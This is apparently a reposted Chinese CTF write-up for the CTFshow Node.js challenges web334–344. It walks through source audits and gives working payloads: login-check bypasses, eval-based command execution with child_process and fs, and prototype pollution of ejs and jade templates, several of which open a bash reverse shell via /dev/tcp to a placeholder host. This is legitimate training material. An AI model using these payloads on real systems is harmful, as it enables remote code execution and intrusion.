CTFshowWeb入门nodejs
web334
大小写绕过
访问环境
下载附件得到源码,开始审计
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
先看路由,在login.js中只有一个路由
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
提示flag就在这里,但是需要登录成功,这里调用了findUser
函数,跟进
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
三个条件,第一个对用户名进行全类型比较,需要不等于CTFSHOW
,第二个需要用户名在转为大写之后等于CTFSHOW
,第三个是判断密码是否正确,在user.js中提供了账号密码
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
第一种大小写绕过
发送一个大小写的用户名
payload
username=CTFshow&password=123456
第二种JS特性
利用Javascript大小写特性 参考 P神
对于toUpperCase():
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():
字符"K"经过`toLowerCase`处理后结果为"k"(这个K不是K)
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
payload
ctfſhow 123456 ctfſhow 123456
web335
node.js命令执行
访问
查看源码,有提示
访问/?eval
输入字母提示404找不到文件
输入数字回显数字
猜测后端语句为
/?eval=console.log(value) // value 就是我们输入的值
eval可以执行js代码,那我们就可以利用js代码去进行RCE
利用child_process
包来构造payload,这是node.js中用来执行系统命令的一个包,其中有多个方法可以用来利用
利用child_process模块执行命令
exec
与execSync
这是child_process
模块里面最简单的函数,作用就是执行一个固定的系统命令
const { exec } = require('child_process');
// 输出当前目录(不一定是代码所在的目录)下的文件和文件夹
exec('ls -l', (err, stdout, stderr) => {
if(err) {
console.log(err);
return;
}
console.log(`stdout: ${stdout}`);
console.log(`stderr: ${stderr}`);
})
execSync
是exec
的同步版本,不过无论是execSync
还是exec
,得到的结果都是字符串或者Buffer对象,一般需要进一步处理。
spawn
与spawnSync
child_process
模块中所有函数都是基于spawn
和spawnSync
函数的来实现的,换句话来说,spawn
和spawnSync
函数的配置是最完全的,其它函数都是对其做了封装和修改
spawn函数原型是这样的:child_process.spawn(command[, args][, options])
例
运行 ls -lh /usr
、捕获 stdout
、stderr
和退出码的示例:
const { spawn } = require('node:child_process');
const ls = spawn('ls', ['-lh', '/usr']);
ls.stdout.on('data', (data) => {
console.log(`stdout: ${data}`);
});
ls.stderr.on('data', (data) => {
console.error(`stderr: ${data}`);
});
ls.on('close', (code) => {
console.log(`child process exited with code ${code}`);
});
payload
//execSync
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('ls').toString();
//spawnSync
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//IIFE(立即调用函数表达式),js在遇到它之后会立即执行函数
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');
利用fs模块去读文件
fs模块就是nodejs中一个文件操作模块,可以对文件进行删除增加写入读取操作
//添加文件夹 一次只能创建一个,每次创建的都是路径最后的一个文件,如果一次创建多个会报错
fs.mkdir("./logs",(err) => {
if(err) throw err;
console.log("创建成功");
})
//修改文件夹名字
fs.rename("./logs","./log",(err) => {
if(err) throw err;
console.log("创建成功");
})
//删除文件夹 如果当前 log 文件夹下还有东西,会删除失败,只能删除空的文件夹
fs.rmdir("./log",(err) => {
if(err) throw err;
console.log("删除成功");
})
//读取文件夹
fs.readdir(path.join(__dirname,"./logs"),(err,result) => {
if(err) throw err;
console.log(result);
})
//读文件 //导入fs模块
const fs = require('fs');
//调用readFile方法,给到文件路径以及成功和失败的值
fs.readFile('./测试.txt',function(err,data){
//判断读取是否成功,输出想对应的值
err == null ? console.log(data.toString()) : console.log("读取失败" err) ;
})
payload
/?eval=require('fs').readdirSync('.') // 查看当前目录
/?eval=require('fs').readFileSync('fl00g.txt') //读取文件
利用拼接绕过命令执行
' ' 要urlencode一下
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a+b);
?eval=require('child_process')['ex'+'ecSync']('cat f*')
对payload进行拼接操作,可以对一些关键字的过滤进行绕过,
web336
过滤了exec
,可以使用spawn
或者是读文件同web335一样
web337
考点:md5比较
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a flag)===md5(b flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
关键点
if(a && b && a.length===b.length && a!==b && md5(a flag)===md5(b flag)){
res.end(flag);
}
md5比较,跟php很相似,但是还存在一定的差异,php中是a[]=1&b[]=2
这样去解,但是这里不一样
//cv yu师傅的代码
a={'x':'1'}
b={'x':'2'}
console.log(a "flag{xxx}")
console.log(b "flag{xxx}")
执行
两个值都是[object Object]flag{xxx}
,所以他们的md5值肯定也都是一样的
payload
a[x]=1&b[x]=2
b[]=1&a[]=1
web338
考点:ejs原型污染
没基础必须看!!
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain
https://xz.aliyun.com/t/7184
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__
关于原型链
在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。
例子:
object.prototype.name=value
在javascript,每一个实例对象都有一个__proto__
属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
原型链污染原理
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
开始解题
app.js
var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
导入了ejs模板渲染引擎,这个东西经常出现原型污染问题,而且大多都是利用原型污染来RCE,代码审计,先看路由
app.use('/', indexRouter);
app.use('/login', loginRouter);
inedx路由
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
res.render('index', { title: 'Express' });
});
module.exports = router
没有啥功能,只是一个模板渲染
login路由
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败' JSON.stringify(user)});
}
});
module.exports = router;
可以看到flag就在这里,要想获得flag,就必须要使secert.ctfshow
等于36dboy
,当看完上面的文章,再看这里结果已经已经不言而喻了,就是利用原型污染给secret的原型添加一个属性名为ctfshow
值为36dboy
,这样就符合条件得到flag
现在目的是知道了。该如何修改?在哪里修改?
login.js代码中存在一个copy功能,utils.copy
就类似于merge
函数,存在原型污染
utils.copy(user,req.body); // req.body 就是用户输入的参数
Payload
{"username":"jiamu","password":"jiamu","__proto__":{"ctfshow":"36dboy"}}
web339
考点:ejs原型污染rce
这题跟上题有两个不一样的区别,第一个就在于login.js中
router.post('/', require('body-parser').json(), function (req, res, next) {
res.type('html');
var flag = 'flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user, req.body);
if (secert.ctfshow === flag) {
res.end(flag);
} else {
return res.json({ret_code: 2, ret_msg: '登录失败' JSON.stringify(user)});
}
});
需要secret
的值和flag值一样,flag是字符串类型,而且整个代码中,flag并没有参与任何操作,所以这个点已经不能利用了
第二个不一样的是多了一个api.js
文件
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
而且里面有个特别可疑的点
res.render('api', { query: Function(query)(query)});
就是这个东西,这个从哪里来的,而且函数参数和函数体都是这个query
参数,只要控制了这个query
参数就可以很轻松的rce
了,那么这题的点应该就是这里了
预期解
变量覆盖污染query
参数
跟进copy函数
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);
执行结果
return 123
成功将query
参数污染
payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"}}
将payload发送后,访问api路由触发
非预期
利用ejs原型污染rce
参考
https://xz.aliyun.com/t/7075?page=1
在我看来就是:看属性类型,造出一个属性进行闭合
payload
{
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
}
}
将payload
发送后,访问api
路由触发
web340
考点:ejs两层原型污染rce
总体来看,跟上题没有太大区别,只不过需要向上污染两级
login.js
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){ // 向上两层
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
user.userinfo
第一层是函数Function
,再向上一层是Object
对象
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){ // 向上两层
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__": {"__proto__":{"query":"return 123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query)
输出结果
{ isVIP: false, isAdmin: false, isAuthor: false }
return 123
成功污染
Payload
污染query参数
{
"__proto__": {
"__proto__": {
"query": "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"')"
}
}
}
ejs原型污染rce
{
"__proto__": {
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
}
}
}
发送后一定要记得,访问api路由触发原型污染
web341
考点:ejs两层原型污染rce
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
还是二层污染rce,这题没有了api.js,二层污染query参数就不能使用了,那就是用ejsrce的原型污染payload
{
"__proto__": {
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
}
}
}
发送后,访问任意一个页面触发payload
web342-web343
考点:jade原型链污染
参考连接
https://xz.aliyun.com/t/7025
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
参考文章
https://lonmar.cn/2021/02/22/几个node模板引擎的原型链污染分析/#0x02-jade
https://tari.moe/2021/05/04/ctfshow-nodejs/
payload
{
"__proto__": {
"__proto__": {
"type": "Block",
"nodes": "",
"compileDebug": 1,
"self": 1,
"line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"
}
}
}
打完payload,记得随便访问一个地址,触发payload
web344
考点:nodejs特性
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
正常输入
?query={"name":"admin","password":"ctfshow","isVIP":true}
但是这里的过滤/8c|2c|\,/ig
将逗号还有他的url编码过滤了,尝试绕过
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析
payload
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
nodejs会自动将这个三个拼接起来,为什么把ctfshow
中的c
编码呢,因为双引号的url编码是"
再和c
连接起来就是"c
,会匹配到正则表达式。
这篇好文章是转载于:编程之路
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 编程之路
- 本文地址: /boutique/detail/tanhggagef
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01